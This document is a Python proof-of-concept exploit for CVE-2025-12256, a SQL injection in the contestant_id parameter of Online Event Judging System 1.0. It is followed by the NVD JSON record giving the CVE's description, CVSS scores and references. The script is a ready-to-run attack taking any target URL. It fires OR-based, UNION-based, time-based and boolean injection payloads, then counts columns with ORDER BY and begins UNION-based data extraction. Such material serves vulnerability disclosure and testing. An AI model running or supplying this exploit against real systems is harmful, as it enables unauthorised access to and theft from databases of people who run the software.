CVE-2025-12256

#!/usr/bin/env python3 # CVE-2025-12256 PoC - SQL Injection in Online Event Judging System 1.0 # Target: /edit_contestant.php # Parameter: contestant_id import requests import sys from urllib.parse import urlencode def test_sql_injection(url, target_param): """Test for SQL injection vulnerability""" # Normal request baseline normal_data = {target_param: "1"} try: normal_resp = requests.post(url, data=normal_data, timeout=10) print(f"[*] Normal request status: {normal_resp.status_code}") except requests.RequestException as e: print(f"[!] Normal request failed: {e}") return False # SQL injection test payloads payloads = [ "1' OR '1'='1", # Basic OR injection "1' UNION SELECT 1,2,3--", # UNION-based injection "1' AND SLEEP(5)--", # Time-based blind injection "1' AND 1=1--", # Boolean-based true condition "1' AND 1=2--", # Boolean-based false condition ] print(f"\n[*] Testing SQL injection payloads...") for payload in payloads: test_data = {target_param: payload} try: resp = requests.post(url, data=test_data, timeout=15) print(f"[*] Payload: {payload[:30]}... Status: {resp.status_code}") # Check for time delay (time-based blind injection) if "SLEEP" in payload: elapsed = resp.elapsed.total_seconds() if elapsed >= 4: print(f"[!] Time-based injection confirmed! Delay: {elapsed}s") return True # Check for SQL error messages if "sql" in resp.text.lower() or "mysql" in resp.text.lower() or "error" in resp.text.lower(): print(f"[!] Potential SQL error detected in response") except requests.RequestException as e: print(f"[!] Request failed for payload: {e}") return False def extract_data(url, target_param): """Extract data using UNION-based injection""" # Determine number of columns via ORDER BY for i in range(1, 20): payload = f"1' ORDER BY {i}--" data = {target_param: payload} try: resp = requests.post(url, data=data, timeout=10) if "Unknown column" not in resp.text: print(f"[*] Found {i-1} columns") num_cols = i - 1 break except: continue # UNION SELECT to extract database information union_payload = f"1' UNION SELECT {','.join(['1']*num_cols)}--" data = {target_param: union_payload} try: resp = requests.post(url, data=data, timeout=10) print(f"[*] UNION injection executed") print(f"[*] Response length: {len(resp.text)} bytes") except Exception as e: print(f"[!] Data extraction failed: {e}") def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-12256_poc.py <target_url>") print("Example: python3 cve-2025-12256_poc.py http://target.com/edit_contestant.php") sys.exit(1) target_url = sys.argv[1] param_name = "contestant_id" print(f"[*] CVE-2025-12256 SQL Injection PoC") print(f"[*] Target: {target_url}") print(f"[*] Testing parameter: {param_name}") print("-" * 50) if test_sql_injection(target_url, param_name): print("\n[!] Vulnerability confirmed! Proceeding with data extraction...") extract_data(target_url, param_name) else: print("\n[-] No obvious SQL injection detected") print("[*] Manual verification recommended") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-12256", "sourceIdentifier": "[email protected]", "published": "2025-10-27T10:15:37.970", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in code-projects Online Event Judging System 1.0. This vulnerability affects unknown code of the file /edit_contestant.php. Executing manipulation of the argument contestant_id can lead to sql injection. The attack can be executed remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:carmelo:online_event_judging_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "9FE35151-38A0-407C-A81B-14BA65BD9F8F"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/zzonce/cve/issues/2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.329927", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329927", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674009", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}